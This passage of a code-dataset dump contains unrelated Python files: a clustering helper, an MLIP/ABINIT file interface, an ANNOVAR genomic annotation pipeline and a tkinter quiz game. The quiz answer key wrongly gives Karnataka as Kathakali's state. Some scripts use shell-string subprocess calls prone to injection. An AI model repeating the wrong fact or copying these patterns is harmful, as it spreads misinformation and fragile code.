url.\n\tIf regex == None, ID is assumed to be the section of the url following the last '/'\n\tregex = [start,end] example: [blah.com,blog] -> blah.com//blog\n\tgetID constructs a regular expression from [start,end]\n\t\"\"\"\n\tassert type(url) is str or type(url) is unicode\n\tif regex:\n\t\tassert type(regex) is list and len(regex) is 2\n\t\t# regex directs us to collect the ID from a more sophisticated place, like blah.com//blog\n\t\t# construct a regular expression from the arguments supplied through regex\n\t\tregex = regex[0] + \"/(?P.*)/\" + regex[1]\n\t\treturn re.search(regex,url).group('ID')\n\telse:\n\t\ti = url.rfind('/')+1\n\t\treturn url[i:]\n","repo_name":"garbados/Soup-Miner","sub_path":"soupify.py","file_name":"soupify.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"25806952734","text":"#!/usr/bin/env python3\n\"\"\"\nagglomerative clustering scipy\n\"\"\"\n\nimport scipy.cluster.hierarchy\nimport matplotlib.pyplot as plt\n\n\ndef agglomerative(X, dist):\n \"\"\"\n performs agglomerative clustering on a dataset:\n \"\"\"\n hierarchy = scipy.cluster.hierarchy\n linkage_mat = hierarchy.linkage(y=X, method='ward')\n fcluster = hierarchy.fcluster(Z=linkage_mat, t=dist, criterion='distance')\n plt.figure()\n hierarchy.dendrogram(linkage_mat, color_threshold=dist)\n plt.show()\n return fcluster\n","repo_name":"Nukemenonai/holbertonschool-machine_learning","sub_path":"unsupervised_learning/0x01-clustering/12-agglomerative.py","file_name":"12-agglomerative.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4948423735","text":"#!/usr/bin/env python\nimport numpy as np\nimport subprocess as subp\n\n\ndef abistruct_to_cfg(db, struct, energy, forces, stresses):\n\n # Write configuration in the .cfg format from MLIP-2 package\n # all the properties related to struct object ( an Abipy.core.Structure object)\n db.write(\"BEGIN_CFG\\n\")\n db.write(\" Size\\n {}\\n\".format(struct.num_sites))\n db.write(\" Supercell\")\n for i in range(3):\n db.write(\"\\n {0[0]} {0[1]} {0[2]}\".format(['{:13.6f}'.format(a) for a in struct.lattice.matrix[i, :]]))\n # FIX ME: Check units in MLIP!!! Most likely angstrom as they work with VASP...\n db.write(\"\\n\")\n\n db.write(\" AtomData: id type cartes_x cartes_y cartes_z fx fy fz\\n\")\n for idx, site in enumerate(struct):\n db.write(\" {:10.0f} {:4.0f}\".format(idx + 1, struct.types_of_species.index(site.specie)))\n db.write(\" {0[0]} {0[1]} {0[2]}\".format(['{:13.6f}'.format(x) for x in site.coords]))\n db.write(\" {0[0]} {0[1]} {0[2]}\\n\".format(['{:11.6f}'.format(f) for f in forces[idx, :]]))\n\n db.write(\" Energy\\n {:20.12f}\\n\".format(energy))\n db.write(\" PlusStress: xx yy zz yz xz xy\\n\")\n db.write(\" {0[0]} {0[1]} {0[2]} {0[3]} {0[4]} {0[5]}\\n\".format(['{:11.5f}'.format(strs) for strs in stresses]))\n db.write(\" Feature ESF_by\\tABINIT\\n\")\n # FIX ME: not sure this will be working during reading?!? if not, for now, change to vasp...\n db.write(\"END_CFG\\n\\n\")\n\n\ndef read_errors(fname, runtype):\n\n check_runtype(runtype)\n try:\n f = open(fname, 'r')\n lines = f.readlines()\n f.close()\n except FileNotFoundError:\n print('File {} not found.'.format(fname))\n\n train_block = []\n valid_block = []\n train_block_on = False\n valid_block_on = False\n\n for line in lines:\n if 'TRAIN ERRORS' in line:\n train_block_on = True\n valid_block_on = False\n if 'VALIDATION ERRORS' in line:\n train_block_on = False\n valid_block_on = True\n\n if train_block_on:\n train_block.append(line)\n elif valid_block_on:\n valid_block.append(line)\n\n if not train_block and runtype == 'train':\n raise Exception('Train errors block is empty')\n if not valid_block and runtype == 'test':\n raise Exception('Validation errors block is empty')\n\n if runtype == 'train' or runtype == 'all':\n train_block = split_block(train_block)\n train_data = read_block(train_block)\n\n if runtype == 'valid' or runtype == 'all':\n valid_block = split_block(valid_block)\n valid_data = read_block(valid_block)\n\n if runtype == 'train':\n return train_data\n elif runtype == 'test':\n return valid_data\n else:\n return train_data, valid_data\n\n\ndef check_runtype(runtype):\n ''' Checks the runtype keyword is correct'''\n keys = ['train', 'test', 'all']\n if runtype not in keys:\n raise ValueError('Runtype should be {} but I received {}'.format(keys, runtype))\n\n\ndef split_block(block):\n ''' Splits an Errors report block into strings from individual variables'''\n\n block = \"\".join(block)\n split_block = []\n\n block = block.split('Energy:')[1]\n block = block.split('Energy per atom:')\n split_block.append(block[0])\n block = block[1].split('Forces:')\n split_block.append(block[0])\n block = block[1].split('Stresses (in eV):')\n split_block.append(block[0])\n block = block[1].split('Stresses (in GPa):')\n block = block[1].split('_______________________________________________')\n split_block.append(block[0])\n\n return split_block\n\n\ndef read_block(block):\n ''' Extracts error data from splitted Errors report block'''\n\n if len(block) != 4:\n raise ValueError('Some error data is missing from the output file.')\n\n keys = ['energy', 'energy_per_atom', 'forces', 'stresses']\n data = {}\n for i, iblock in enumerate(block):\n data_block = []\n for line in iblock.split('\\n'):\n if '=' in line:\n data_block.append(float(line.split('=')[-1]))\n data[keys[i]] = data_block\n\n return data\n\n\ndef read_mv_grade(fname, verbose=False):\n ''' Reads the MV_grade from a .cfg database and returns a dictionnary containing\n extrapolation grade values, and some statistics about the database\n '''\n\n data = {}\n status, output = subp.getstatusoutput('grep MV_grade {}'.format(fname))\n output = np.asarray([i.split('\\t')[-1] for i in output.split('\\n')], dtype=float)\n\n data['values'] = output\n data['max'] = max(output)\n data['min'] = min(output)\n data['argmax'] = np.argmax(output)\n data['argmin'] = np.argmin(output)\n data['mean'] = np.mean(output)\n data['stdev'] = np.std(output)\n\n if verbose:\n print('For file:{}'.format(fname))\n print(' gamma max = {:.2f} (step {})'.format(data['max'], data['argmax']))\n print(' gamma min = {:.2f} (step {})'.format(data['min'], data['argmin']))\n print(' gamma mean = {:.2f}'.format(data['mean']))\n print(' gamma stdev = {:.2f}'.format(data['stdev']))\n\n return data\n","repo_name":"brousseauv/scripts_electrolytes","sub_path":"scripts_electrolytes/interfaces/mtp_interface.py","file_name":"mtp_interface.py","file_ext":"py","file_size_in_byte":5226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25292253440","text":"import os\nimport sys\nimport pandas as pd\nimport subprocess\n\nannovar = \"/home/jis215/tools/annovar/annotate_variation.pl\"\nannovar_db_dir = sys.argv[3]\n\ndef read_avoutput(filename,colnames):\n '''\n process the output from annovar region-based anntations\n and save them as pd dataframes for joining\n '''\n \n p1 = subprocess.Popen([\"cut\", \"--complement\", \"-f1\", filename],stdout=subprocess.PIPE)\n p2 = subprocess.Popen([\"sed \\'s/;/\\\\t/\\'\"], stdin=p1.stdout, stdout=subprocess.PIPE,shell=True)\n p3 = subprocess.Popen([\"sed \\'s/Score=//\\'\"], stdin=p2.stdout, stdout=subprocess.PIPE,shell=True)\n p4 = subprocess.Popen([\"sed \\'s/Name=//\\'\"], stdin=p3.stdout, stdout=subprocess.PIPE,shell=True)\n p5 = subprocess.Popen([\"awk \\'{print $3,$4,$5,$6,$7,$1,$2}\\'\"],stdin=p4.stdout, stdout=subprocess.PIPE,shell=True)\n\n out,err=p5.communicate()\n row_list=out.decode().split(\"\\n\")\n row_list_2=[]\n for item in row_list:\n row_list_2.append(item.split(\" \"))\n \n #remove empty string at the end of the list\n if row_list[-1] == \"\":\n row_list_2.pop()\n col_names=colnames\n row_list_2\n df = pd.DataFrame.from_records(row_list_2,columns=col_names)\n #remove the name column if histone annotation\n if \"Histone\" in filename: \n df = df.drop(columns=colnames[-1])\n #convert all entries in df to string for merging\n df = df.astype(str)\n return df\n\ndef region_annotation(sample_id, avinput, avoutput_dir, outfile, *cell_line_args):\n '''\n run annovar region-based annotation \n to annotate the given avinput with the\n desired databases, then read the avoutput\n into pd dataframes and join them together \n and save it as the outfile\n default dbs: phastCons100, ENCODE_DNase, ENCODE_TFBS\n arg dbs: ENCODE_histone_modification, specify cell lines in the arg\n '''\n\n annovar_cmd = [annovar, \"-regionanno\", \"-build\",\"hg19\", avinput,\n annovar_db_dir]\n avinput_colnames=[\"Chrom\",\"Start\",\"End\",\"Ref\",\"Alt\"]\n histone_types = [\"H3k27ac\",\"H3k27me3\",\"H3k4me1\",\"H3k4me3\"]\n avinput_df = pd.read_csv(avinput, sep=\"\\t\",names=avinput_colnames)\n #make avoutput_dir if it does not exist\n if not os.path.exists(avoutput_dir):\n #need to use os.makedirs() to create all intermediate dirs\n os.makedirs(avoutput_dir)\n suffix = avoutput_dir + \"/\" + sample_id\n\n #run region_annotation for pCE 100, Dnase and TFBS regions first\n subprocess.run(annovar_cmd + [\"-out\",suffix,\"-dbtype\",\"wgEncodeRegDnaseClusteredV3\",\"-scorecolumn\",\"5\"])\n subprocess.run(annovar_cmd + [\"-out\",suffix,\"-dbtype\",\"wgEncodeRegTfbsClusteredV3\",\"-scorecolumn\",\"5\"])\n subprocess.run(annovar_cmd + [\"-out\",suffix,\"-dbtype\",\"phastConsElements100way\"])\n\n #then iterate through the *cell_line_args and run the histone annotations\n db_file_name_list = []\n for cell_line in cell_line_args:\n for histone_type in histone_types:\n db_file_name = \"wgEncodeBroadHistone\" + cell_line + histone_type + \"StdPk\"\n db_file_name_list.append(db_file_name)\n subprocess.run(annovar_cmd + [\"-out\",suffix,\"-dbtype\",db_file_name,\"-scorecolumn\",\"5\"])\n\n #then process the output files from running annovar and read them into pd dataframes\n db_file_name_list = db_file_name_list+ [\"wgEncodeRegDnaseClusteredV3\",\"wgEncodeRegTfbsClusteredV3\",\"phastConsElements100way\"]\n df_list = []\n for db_file_name in db_file_name_list:\n input_filename = suffix + '.hg19_' + db_file_name\n input_colnames = avinput_colnames + [db_file_name+\"_Score\", db_file_name+\"_Name\"]\n df = read_avoutput(input_filename,input_colnames)\n df_list.append(df)\n\n #finally join them to the avinput_df via left join to obtain the aggregated vcf outfile\n joint_df = avinput_df.astype(str)\n for df in df_list:\n joint_df = joint_df.merge(df,on=avinput_colnames,how=\"left\")\n joint_df = joint_df.fillna(\".\")\n joint_df.to_csv(outfile,sep=\"\\t\",index=False,header=True)\n\n\n\ndef main(argv):\n if len(argv[1:6]) != 5:\n sys.stderr.write(\"usage :\" + argv[0] + \" \")\n sys.exit(2)\n sample_id = argv[1]\n avinput = argv[2]\n avoutput_dir = argv[4]\n out_vcf_path = argv[5]\n cell_lines = argv[6:]\n region_annotation(sample_id, avinput, avoutput_dir, out_vcf_path, *cell_lines)\n\n\nmain(sys.argv)\n","repo_name":"Gleeson-Lab/Functional_region_annotation_pipeline","sub_path":"Functional_region_annotation_pipeline/scripts/region_annotation.py","file_name":"region_annotation.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"33719668359","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import messagebox\r\nimport random\r\nimport sqlite3\r\nimport threading\r\n\r\ngame_score = 0\r\nquestions_attempted = 1\r\nplayer_name = \"\"\r\nqualifying_score = 2\r\n\r\n#*********************** TIMER **************************#\r\n\r\ntime_in_sec = 20\r\n\r\ndef timer():\r\n global time_in_sec, mylabel, button, myoptionlabel\r\n if(time_in_sec>0):\r\n minutes, seconds = divmod(time_in_sec, 60)\r\n time_left = str(minutes).zfill(2) + \":\" + str(seconds).zfill(2)\r\n timer_label.config(text=time_left)\r\n time_in_sec -= 1\r\n timer_label.after(1000, timer)\r\n else:\r\n mylabel.destroy()\r\n button.destroy()\r\n myoptionlabel.destroy()\r\n completed_session()\r\n\r\n\r\n#*********************** TIMER **************************#\r\n\r\n#************** DATABASE DATABASE DATABASE **************#\r\n\r\nconn = sqlite3.connect('Database.db')\r\n\r\nc = conn.cursor()\r\n\r\n#c.execute('''CREATE TABLE QuizData(\r\n# name text,\r\n# score number)''')\r\n\r\n\r\n\r\ndef get_player_name(player_name):\r\n c.execute(\"SELECT * FROM QuizData WHERE name=:name\", {'name':player_name})\r\n return c.fetchone()\r\n\r\ndef insert_player(player_name, game_score):\r\n with conn:\r\n c.execute(\"INSERT INTO quizData VALUES (:name, :score)\", {'name': player_name, 'score': game_score})\r\n\r\ndef update_score(player_name, game_score):\r\n with conn:\r\n c.execute(\"\"\"UPDATE QuizData SET score = :score\r\n WHERE name = :name\"\"\",\r\n {'name': player_name, 'score': game_score})\r\n\r\n#************** DATABASE DATABASE DATABASE **************#\r\n\r\ndef show_frame(frame):\r\n frame.tkraise()\r\n \r\ndef submit_form():\r\n global player_name\r\n player_name = input_name.get().split()[0]\r\n player_name = player_name.lower()\r\n frame3.tkraise()\r\n timer()\r\n load_questions()\r\n\r\ndef load_questions():\r\n global questions_attempted, game_score, mylabel, button, myoptionlabel\r\n button = Button(frame3, image=next_btn, cursor = \"hand2\", borderwidth=0, bg=\"black\", command=lambda: var.set(1))\r\n button.place(x=750, y= 475)\r\n for question in questions:\r\n mylabel = Label(frame3, text=question, anchor=CENTER, font =(\"times new roman\", 18, \"bold\"), bg= \"black\", fg= \"white\", wraplength= 800)\r\n mylabel.place(x= 250 , y= 160)\r\n for value,key in solutions.items():\r\n if question == value:\r\n for answer in answers:\r\n if key in answer:\r\n random.shuffle(answer)\r\n option1 = answer[0]\r\n option2 = answer[1]\r\n option3 = answer[2]\r\n option4 = answer[3]\r\n myoptionlabel = Label(frame3, bg=\"black\")\r\n myoptionlabel.place(x= 545,y= 270)\r\n Radiobutton(myoptionlabel, text=option1, font =(\"times new roman\", 18, \"bold\"), bg=\"black\", fg=\"white\", variable=var2, value=option1, selectcolor=\"#000000\").pack(pady=5, anchor=\"w\")\r\n Radiobutton(myoptionlabel, text=option2, font =(\"times new roman\", 18, \"bold\"), bg=\"black\", fg=\"white\", variable=var2, value=option2, selectcolor=\"#000000\").pack(pady=5, anchor=\"w\")\r\n Radiobutton(myoptionlabel, text=option3, font =(\"times new roman\", 18, \"bold\"), bg=\"black\", fg=\"white\", variable=var2, value=option3, selectcolor=\"#000000\").pack(pady=5, anchor=\"w\")\r\n Radiobutton(myoptionlabel, text=option4, font =(\"times new roman\", 18, \"bold\"), bg=\"black\", fg=\"white\", variable=var2, value=option4, selectcolor=\"#000000\").pack(pady=5, anchor=\"w\")\r\n button.wait_variable(var)\r\n selected_option = var2.get()\r\n if selected_option == key:\r\n game_score += 1\r\n questions_attempted += 1\r\n if questions_attempted == 4:\r\n button.destroy()\r\n button = Button(frame3, image=finish_btn, cursor = \"hand2\", borderwidth=0, bg=\"black\", command=lambda: var.set(1))\r\n button.place(x=750, y= 475)\r\n mylabel.destroy()\r\n myoptionlabel.destroy()\r\n button.destroy()\r\n completed_session()\r\n\r\ndef completed_session():\r\n data_handling()\r\n messagebox.showinfo(\" Quiz Game\", \"Quiz Has Finished\\n{} you have scored {} out of 4\".format(player_name, game_score))\r\n global qualify_bg, qualify_ok_btn, qualify_mssg, qualify_fail_mssg\r\n if(game_score >= qualifying_score):\r\n top = Toplevel()\r\n top.geometry(\"800x450\")\r\n qualify_bg_label = Label(top, image=qualify_bg)\r\n qualify_bg_label.pack()\r\n qualify_mssg_label = Label(top, image=qualify_mssg, bg=\"#4e62d2\")\r\n qualify_mssg_label.place(x=155, y=40)\r\n qualify_ok_button = Button(top, image=qualify_ok_btn, cursor=\"hand2\", borderwidth=0, bg=\"#436fd2\", command=top.destroy)\r\n qualify_ok_button.place(x=320, y=350)\r\n else:\r\n top = Toplevel()\r\n top.geometry(\"800x450\")\r\n qualify_bg_label = Label(top, image=qualify_bg)\r\n qualify_bg_label.pack()\r\n qualify_mssg_label = Label(top, image=qualify_fail_mssg, bg=\"#4e62d2\")\r\n qualify_mssg_label.place(x=155, y=40)\r\n qualify_ok_button = Button(top, image=qualify_ok_btn, cursor=\"hand2\", borderwidth=0, bg=\"#436fd2\", command=top.destroy)\r\n qualify_ok_button.place(x=320, y=350)\r\n show_frame(frame4)\r\n\r\ndef data_handling():\r\n global player_name\r\n if(get_player_name(player_name) == None):\r\n insert_player(player_name, game_score)\r\n else:\r\n fetched_player = get_player_name(player_name)\r\n if(fetched_player[1] < game_score):\r\n update_score(player_name, game_score)\r\n\r\ndef load_highscores(frame):\r\n frame.tkraise()\r\n c.execute(\"\"\"SELECT * FROM 'QuizData'\r\n ORDER BY score DESC\r\n LIMIT 0, 3;\"\"\")\r\n highscores = c.fetchall()\r\n\r\n const_txt = \"NAME\" + \"\\t\\t\\t\\t\" + \"SCORE\"\r\n txt_label = Label(frame5, font =(\"Courier New\", 20,\"bold\"), text=const_txt, pady=25, bg=\"#f8f8f8\")\r\n txt_label.place(x=475, y=75)\r\n \r\n disty = 225\r\n\r\n for x in range(0, 3):\r\n curr_player = highscores[x][0]\r\n curr_score = highscores[x][1]\r\n \r\n username_to_load_label = Label(frame5, font =(\"Courier New\", 18,\"bold\"), text=curr_player, pady=10, bg=\"#f8f8f8\")\r\n username_to_load_label.place(x=475, y=disty)\r\n \r\n userscore_to_load_label = Label(frame5, font =(\"Courier New\", 18,\"bold\"), text=str(curr_score), pady=10, bg=\"#f8f8f8\")\r\n userscore_to_load_label.place(x=1000, y=disty)\r\n\r\n disty += 90\r\n\r\ndef refresh_session():\r\n global player_name, game_score, time_in_sec\r\n player_name = \"\"\r\n var2.set(' ')\r\n game_score = 0\r\n time_in_sec = 20\r\n show_frame(frame1)\r\n\r\ndef add_questions():\r\n global input_question, input_options, input_correct_option\r\n top = Toplevel()\r\n top.geometry(\"1100x650\")\r\n my_canvas = Canvas(top)\r\n my_canvas.pack(fill=\"both\", expand=True)\r\n my_canvas.create_image(0, 0, image=add_questions_bg, anchor=\"nw\")\r\n my_canvas.create_text(153, 70, text= \"Add Question :\", font= (\"Helvetica\", 18,\"bold\"), fill=\"#ffffff\", anchor=\"nw\")\r\n input_question = Entry(top)\r\n my_canvas.create_window(150, 100, window=input_question, width=750, anchor=\"nw\")\r\n input_question.config(font= (\"Helvetica\", 14),bg=\"#8319d3\", fg=\"#ffffff\", highlightthickness=5, highlightbackground=\"#74159d\", highlightcolor=\"#74159d\")\r\n #Options\r\n my_canvas.create_text(153, 180, text= \"Enter Options :\", font= (\"Helvetica\", 18,\"bold\"), fill=\"#ffffff\", anchor=\"nw\")\r\n input_options = Entry(top)\r\n input_options.config( font= (\"Helvetica\", 14),bg=\"#8319d3\", fg=\"#ffffff\", highlightthickness=5, highlightbackground=\"#74159d\", highlightcolor=\"#74159d\")\r\n my_canvas.create_window(150, 210, window=input_options, width=750, anchor=\"nw\")\r\n #Guide\r\n my_canvas.create_text(153, 255, text= \"**Enter 4 Options Above\", font= (\"Helvetica\", 10,\"bold\"), fill=\"#e31313\", anchor=\"nw\")\r\n my_canvas.create_text(153, 273, text= \"**Enter Comma Seperated values\", font= (\"Helvetica\", 10,\"bold\"), fill=\"#e31313\", anchor=\"nw\")\r\n #Correct Answers\r\n my_canvas.create_text(153, 330, text= \"Correct Option :\", font= (\"Helvetica\", 18,\"bold\"), fill=\"#ffffff\", anchor=\"nw\")\r\n input_correct_option = Entry(top)\r\n input_correct_option.config( font= (\"Helvetica\", 14),bg=\"#8319d3\", fg=\"#ffffff\", highlightthickness=5, highlightbackground=\"#74159d\", highlightcolor=\"#74159d\")\r\n my_canvas.create_window(153, 360, window=input_correct_option,width=750, anchor=\"nw\")\r\n my_canvas.create_text(153, 405, text= \"*ENTER THE CORRECT ANSWER ABOVE(Note: It Must Be Present In The Enter Options Row **CASE SENSITIVE \", font= (\"Helvetica\", 10,\"bold\"), fill=\"#e31313\", anchor=\"nw\")\r\n #Submit Button\r\n submit_btn = Button(my_canvas, image=submit_btn_img, border=0, relief=FLAT, bg=\"#5f4bd1\", cursor=\"hand2\", command=handle_questions_options)\r\n submit_btn_window = my_canvas.create_window(450, 500, anchor=\"nw\", window=submit_btn)\r\n #Exit Button\r\n form_exit_button = Button(my_canvas, image=form_exit_btn, cursor = \"hand2\", borderwidth=0, bg=\"#683ed2\", command=top.destroy)\r\n exit_btn_window = my_canvas.create_window(1025, 10, anchor=\"nw\", window=form_exit_button)\r\n\r\ndef handle_questions_options():\r\n global get_question, get_options, get_correct_option\r\n get_question = input_question.get()\r\n get_options = input_options.get().split(\",\")\r\n get_correct_option = input_correct_option.get()\r\n for option in get_options:\r\n formatted_option = option.strip()\r\n formatted_options_list.append(formatted_option)\r\n get_correct_option = get_correct_option.strip()\r\n\r\n temp_error_evaluator = validate_questions_options_data()\r\n if(temp_error_evaluator):\r\n submit_btn.wait_variable(err_var)\r\n handle_questions_options()\r\n \r\n #CONTINUE FROM HERE - TO FORWARD THE DATA TO RESPECTIVE LISTS AND DICTIONARY AND CLEAR THE PREVIOUS FETCHED DATA\r\n questions.append(get_question)\r\n answers.append(formatted_options_list)\r\n solutions[get_question] = get_correct_option\r\n \r\ndef validate_questions_options_data():\r\n global get_options, get_correct_option\r\n\r\n def error_validator():\r\n err_var.set(1)\r\n top2.destroy()\r\n return True\r\n\r\n if(len(get_options) != 4):\r\n top2 = Toplevel()\r\n top2.geometry(\"750x325\")\r\n error_canvas = Canvas(top2)\r\n error_canvas.pack(fill=\"both\", expand=True)\r\n error_canvas.create_image(50, 60, image=error_img, anchor=\"nw\")\r\n error_canvas.create_text(120, 70, text= \"Please Add Correct Number Of Options As Instructed\", font= (\"Helvetica\", 18,\"bold\"), fill=\"#e31313\", anchor=\"nw\")\r\n ok_button = Button(error_canvas, image=ok_btn, cursor = \"hand2\", borderwidth=0, command=error_validator)\r\n ok_btn_window = error_canvas.create_window(315, 220, anchor=\"nw\", window=ok_button)\r\n \r\n elif(get_correct_option not in formatted_options_list):\r\n top2 = Toplevel()\r\n top2.geometry(\"925x325\")\r\n error_canvas = Canvas(top2)\r\n error_canvas.pack(fill=\"both\", expand=True)\r\n error_canvas.create_image(50, 60, image=error_img, anchor=\"nw\")\r\n error_canvas.create_text(120, 70, text= \"Please Check If Correct Option Is Present In Both The Input Rows\", font= (\"Helvetica\", 18,\"bold\"), fill=\"#e31313\", anchor=\"nw\")\r\n ok_button = Button(error_canvas, image=ok_btn, cursor = \"hand2\", borderwidth=0, command=error_validator)\r\n ok_btn_window = error_canvas.create_window(375, 220, anchor=\"nw\", window=ok_button)\r\n\r\n else:\r\n return False\r\n\r\nwindow = Tk()\r\n\r\nwindow.state('zoomed')\r\n\r\nwindow.title(\" Quiz Game\")\r\n\r\n#window.iconbitmap('images\\quiz.ico')\r\n\r\nwindow.rowconfigure(0, weight=1)\r\nwindow.columnconfigure(0, weight=1)\r\nframe1 = Frame(window)\r\nframe2 = Frame(window)\r\nframe3 = Frame(window)\r\nframe4 = Frame(window)\r\nframe5 = Frame(window)\r\n\r\nfor frame in (frame1, frame2, frame3, frame4, frame5):\r\n frame.grid(row=0,column=0,sticky='nsew')\r\n\r\n#============================================== FRAME 1 ==================================================#\r\n\r\nbg_img = PhotoImage(file=\"images/bghome.png\")\r\nmy_label = Label(frame1, image=bg_img)\r\nmy_label.place(x=0, y=0, relwidth=1, relheight=1)\r\n\r\nstart_btn = PhotoImage(file='images/bgFormplay.png')\r\nplay_button = Button(frame1, image=start_btn, cursor = \"hand2\", borderwidth=0, bg=\"#5f4bd1\", command=lambda:show_frame(frame2))\r\nplay_button.pack(side=\"bottom\", pady=50)\r\n\r\nexit_btn = PhotoImage(file='images/exitForm.png')\r\nexit_button = Button(frame1, image=exit_btn, cursor = \"hand2\", borderwidth=0, bg=\"#683ed2\", command=window.destroy)\r\nexit_button.pack(padx=30, pady=30, anchor=\"ne\")\r\n\r\nadd_questions_btn = PhotoImage(file=\"images/addQuestionsbtn10.png\")\r\nadd_questions_button = Button(frame1, image=add_questions_btn, cursor = \"hand2\", borderwidth=0, bg=\"#9400d4\", command=add_questions)\r\nadd_questions_button.place(x= 900, y= 525)\r\n\r\nerror_img = PhotoImage(file=\"images/error2.png\")\r\nok_btn = PhotoImage(file=\"images/okbtn.png\")\r\n#============================================== FRAME 2 ==================================================#\r\n# #4a66d3\r\nbg2_img = PhotoImage(file='images/bgbgbg.png')\r\nmy_label2 = Label(frame2, image=bg2_img)\r\nmy_label2.place(x=0, y=0, relwidth=1, relheight=1)\r\n\r\nform = PhotoImage(file=\"images/bgForm3.png\")\r\nform_label = Label(frame2, image=form)\r\nform_label.place(x=420, y=170, width=135, height=180)\r\n\r\ntitle = Label (frame2, text= \"Player Details\", font= (\"times new roman\", 20,\"bold\"), bg=\"#3683d1\", fg=\"#ffffff\").place(x=625, y=90)\r\n\r\n# First Row\r\nname = Label (frame2, text= \"Player Name\", font= (\"times new roman\", 14,\"bold\"),bg =\"#4273d2\", fg=\"#ffffff\").place(x=575, y=175)\r\ninput_name = Entry(frame2, font= (\"times new roman\", 14),bg=\"#8319d3\", fg=\"#ffffff\", highlightthickness=5)\r\ninput_name.config(highlightbackground=\"#74159d\", highlightcolor=\"#74159d\")\r\ninput_name.place(x=575, y=205, width=270)\r\n\r\nform_exit_btn = PhotoImage(file=\"images/exitForm.png\")\r\nform_exit_button = Button(frame2, image=form_exit_btn, cursor = \"hand2\", borderwidth=0, bg=\"#683ed2\", command=lambda:show_frame(frame1))\r\nform_exit_button.pack(padx=30, pady=30, anchor=\"ne\")\r\n\r\n# Second Row\r\nmail = Label (frame2, text= \"Email Id\", font= (\"times new roman\", 14,\"bold\"),bg =\"#4273d2\", fg=\"#ffffff\").place(x=575, y=260)\r\ntxt_mail = Entry (frame2, font= (\"times new roman\", 14),bg=\"#8319d3\", fg=\"#ffffff\", highlightthickness=5)\r\ntxt_mail.config(highlightbackground=\"#74159d\", highlightcolor=\"#74159d\")\r\ntxt_mail.place(x=575, y=290, width=270)\r\n\r\n# Third Row\r\ncontact = Label (frame2, text= \"Contact Number\", font= (\"times new roman\", 14,\"bold\"),bg =\"#4273d2\", fg=\"#ffffff\").place(x=575, y=345)\r\ntxt_contact = Entry (frame2, font= (\"times new roman\", 14),bg=\"#8319d3\", fg=\"#ffffff\", highlightthickness=5)\r\ntxt_contact.config(highlightbackground=\"#74159d\", highlightcolor=\"#74159d\")\r\ntxt_contact.place(x=575, y=375, width=270)\r\n\r\n# Fourth Row\r\nStream = Label (frame2, text= \"Stream\", font= (\"times new roman\", 14,\"bold\"),bg =\"#4273d2\", fg=\"#ffffff\", highlightthickness=5).place(x=575, y=430)\r\n\r\ncombo_stream = ttk.Combobox (frame2, font=(\"times new roman\", 14), state='readonly', justify=CENTER)\r\ncombo_stream['values'] = (\"Select your Stream\", \"Comps\", \"IT\", \"Extc\", \"Mechanical\", \"Civil\")\r\ncombo_stream.place(x=575, y=460, width=270)\r\ncombo_stream.current(0)\r\n\r\nform_start_btn = PhotoImage(file=\"images/bgFormplay.png\")\r\n\r\nform_start_button = Button(frame2, image=form_start_btn, cursor = \"hand2\", borderwidth=0, bg=\"#5f4bd1\", command=submit_form)\r\nform_start_button.pack(side=\"bottom\", pady=50)\r\n\r\n#============================================== FRAME 3 ==================================================#\r\n\r\nquiz_bg_img = PhotoImage(file=\"images/Frame3.png\")\r\nimg_label = Label(frame3, image=quiz_bg_img)\r\nimg_label.place(x=0, y=0, height=650,width=1300)\r\n\r\n# NEXT BUTTON & FINISH BUTTON\r\nnext_btn = PhotoImage(file=\"images/nextF3.png\")\r\nfinish_btn = PhotoImage(file=\"images/finishF2.png\")\r\n\r\n# Label for Questions\r\nmylabel = Label()\r\n\r\n# Label for Options\r\nmyoptionlabel = Label()\r\n\r\n# Button for Next/Finish\r\nbutton = Button()\r\n\r\n# Label for Timer\r\ntimer_label = Label(frame3, font=\"times 50\", fg=\"#FFFFFF\", bg=\"#000000\")\r\ntimer_label.place(x=900, y=80)\r\n\r\ninput_answer = StringVar()\r\nvar = IntVar()\r\nvar2 = StringVar()\r\nvar2.set(' ')\r\n\r\nquestions = [\"The ratio of width of our National flag to its length is\",\r\n \"The words 'Satyameva Jayate' inscribed below the base plate of the emblem of India are taken from\",\r\n \"'Kathakali' is a folk dance prevalent in which state\",\r\n \"The last Mahakumbh of the 20th century was held at\"]\r\n\r\nsolutions = {\"The ratio of width of our National flag to its length is\": \"2:3\",\r\n \"The words 'Satyameva Jayate' inscribed below the base plate of the emblem of India are taken from\": \"Mundak Upanishad\",\r\n \"'Kathakali' is a folk dance prevalent in which state\": \"Karnataka\",\r\n \"The last Mahakumbh of the 20th century was held at\": \"Haridwar\"}\r\n\r\nanswers = [[\"3:5\", \"2:3\", \"2:4\", \"3:4\"],[\"Rigveda\", \"Satpath Brahmana\", \"Mundak Upanishad\", \"Ramayana\"],\r\n [\"Karnataka\", \"Orissa\", \"Kerala\", \"Manipur\"],[\"Nasik\", \"Ujjain\", \"Allahabad\", \"Haridwar\"]]\r\n\r\nrandom.shuffle(questions)\r\n\r\n#============================================== FRAME 4 ==================================================#\r\n\r\nscore_bg_img = PhotoImage(file=\"images/quizscorebg.png\")\r\n\r\nscore_img_label = Label(frame4, image=score_bg_img, width=1920)\r\nscore_img_label.place(x=0, y=0, relheight=1,relwidth=1)\r\n\r\nbact_to_home_btn = PhotoImage(file=\"images/backtohome.png\")\r\nbact_to_home_button = Button(frame4, image=bact_to_home_btn, cursor = \"hand2\", borderwidth=0, command=refresh_session)\r\nbact_to_home_button.place(x=575 , y=200)\r\n\r\nview_highscore_btn = PhotoImage(file=\"images/Highscore.png\")\r\nview_highscore_button = Button(frame4, image=view_highscore_btn, cursor = \"hand2\", borderwidth=0, command=lambda:load_highscores(frame5))\r\nview_highscore_button.place(x=575 , y=475)\r\n\r\n#============================================== FRAME 5 ==================================================#\r\n\r\nlast_page_bg = PhotoImage(file=\"images/quizscorebg.png\")\r\nlast_page_bg_label = Label(frame5, image=last_page_bg, 